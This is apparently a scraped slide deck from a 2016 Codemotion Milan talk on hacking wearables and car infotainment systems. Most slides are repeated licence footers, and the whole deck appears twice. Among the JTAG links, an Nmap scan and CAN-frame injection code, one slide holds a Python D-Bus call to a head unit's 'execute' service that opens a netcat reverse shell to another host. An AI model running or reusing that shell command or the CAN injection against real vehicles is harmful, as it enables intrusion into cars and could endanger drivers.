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Wearable Botnets and Happy Hacked Drivers - Andrea Pompili - Codemotion Milan 2016

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Codemotion
Codemotion

The document appears to be a presentation on hacking devices and embedded systems. It includes information on accessing microcontroller memory and interfaces, exploiting communication protocols like CAN bus, and gaining remote access to systems through techniques like opening a reverse shell over a service like IRC. References are provided on JTAG debugging, bus protocols, and other topics relevant to security research of embedded and IoT devices.

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Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. WEARABLE BOTNETS AND HAPPY HACKED DRIVERS Andrea Pompili There are only 10 types of people in the world: Those who understand binary, and those who don't
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. R8C/25 Group 64 KB Flash memory 3 KB RAM
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. NC30 standard library statically linked
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://deadhacker.com/2010/02/03/jtag-enumeration/ http://openocd.org/doc/html/Debug-Adapter-Hardware.html https://github.com/synthetos/PiOCD/wiki/Using-a-Raspberry-Pi-as-a-JTAG-Dongle
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://www.dataman.com E8a (R0E00008AKCE00)
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://www.limpkin.fr/index.php?post/2012/04/30/Hacking-a-laundry-machine-in-one-day-%28SLE4442%29
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Multiple Bus (max 1Mbps) UART or I2C (19.2Kbaud) High Speed and Reliable (10Mbps) Optical fiber (150Mbps)
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. SAE J1979
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT Nmap scan report for 192.168.5.1 Host is up (0.0036s latency). PORT STATE SERVICE 2011/tcp open raid-cc 2021/tcp open servexec 4400/tcp open unknown 6010/tcp open x11 6020/tcp open unknown 6667/tcp open irc 51500/tcp open unknown 65200/tcp open unknown
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. https://www.freedesktop.org/wiki/Software/dbus/
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. #!python import dbus bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1, port=6667") proxy_object = bus_obj.get_object( 'com.harman.service.NavTrailService', '/com/harman/service/NavTrailService') playerengine_iface = dbus.Interface( proxy_object, dbus_interface='com.harman.ServiceIpc') print playerengine_iface.Invoke( 'execute', '{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8 21.0.0.0/8
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. iocupdate -c 4 -p usr/share/V850/cmcioc.bin
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. SCLK MOSI MISO SS SCLK MOSI MISO SS ipc = require("ipc") file = '/dev/ipc/ch7' g = assert(ipc.open(file)) -- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1... g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 
Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Domande? Italian ‫ة‬َّ‫ي‬َ‫أ‬ ‫ب‬ِ‫ل‬‫ا‬َ‫ط‬َ‫م‬ Arabic ¿Preguntas? Spanish Questions? English tupoQghachmey Klingon Sindarin Japanese Ερωτήσεις? Greek вопросы? Russian

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Wearable Botnets and Happy Hacked Drivers - Andrea Pompili - Codemotion Milan 2016

  • 1. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. WEARABLE BOTNETS AND HAPPY HACKED DRIVERS Andrea Pompili There are only 10 types of people in the world: Those who understand binary, and those who don't
  • 2. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 3. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 4. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. R8C/25 Group 64 KB Flash memory 3 KB RAM
  • 5. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. NC30 standard library statically linked
  • 6. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 7. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 8. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://deadhacker.com/2010/02/03/jtag-enumeration/ http://openocd.org/doc/html/Debug-Adapter-Hardware.html https://github.com/synthetos/PiOCD/wiki/Using-a-Raspberry-Pi-as-a-JTAG-Dongle
  • 9. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://www.dataman.com E8a (R0E00008AKCE00)
  • 10. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://www.limpkin.fr/index.php?post/2012/04/30/Hacking-a-laundry-machine-in-one-day-%28SLE4442%29
  • 11. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 12. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 13. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
  • 14. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 15. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 16. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 17. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 18. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 19. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 20. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 21. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 22. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 23. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 24. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 25. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 26. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 27. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 28. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 29. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 30. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 31. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 32. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 33. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 34. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 35. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 36. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Multiple Bus (max 1Mbps) UART or I2C (19.2Kbaud) High Speed and Reliable (10Mbps) Optical fiber (150Mbps)
  • 37. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. SAE J1979
  • 38. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 39. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 40. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 41. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 42. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 43. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 44. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 45. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT Nmap scan report for 192.168.5.1 Host is up (0.0036s latency). PORT STATE SERVICE 2011/tcp open raid-cc 2021/tcp open servexec 4400/tcp open unknown 6010/tcp open x11 6020/tcp open unknown 6667/tcp open irc 51500/tcp open unknown 65200/tcp open unknown
  • 46. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. https://www.freedesktop.org/wiki/Software/dbus/
  • 47. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. #!python import dbus bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1, port=6667") proxy_object = bus_obj.get_object( 'com.harman.service.NavTrailService', '/com/harman/service/NavTrailService') playerengine_iface = dbus.Interface( proxy_object, dbus_interface='com.harman.ServiceIpc') print playerengine_iface.Invoke( 'execute', '{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')
  • 48. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8
  • 49. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8
  • 50. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 21.0.0.0/8 21.0.0.0/8
  • 51. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 52. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. iocupdate -c 4 -p usr/share/V850/cmcioc.bin
  • 53. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 54. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. SCLK MOSI MISO SS SCLK MOSI MISO SS ipc = require("ipc") file = '/dev/ipc/ch7' g = assert(ipc.open(file)) -- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1... g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)
  • 55. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp.
  • 56. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. 
  • 57. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ MILAN 25-26.11.2016 www.codemotionworld.com Andrea Pompili apompili@hotmail.com – Xilogic Corp. Domande? Italian ‫ة‬َّ‫ي‬َ‫أ‬ ‫ب‬ِ‫ل‬‫ا‬َ‫ط‬َ‫م‬ Arabic ¿Preguntas? Spanish Questions? English tupoQghachmey Klingon Sindarin Japanese Ερωτήσεις? Greek вопросы? Russian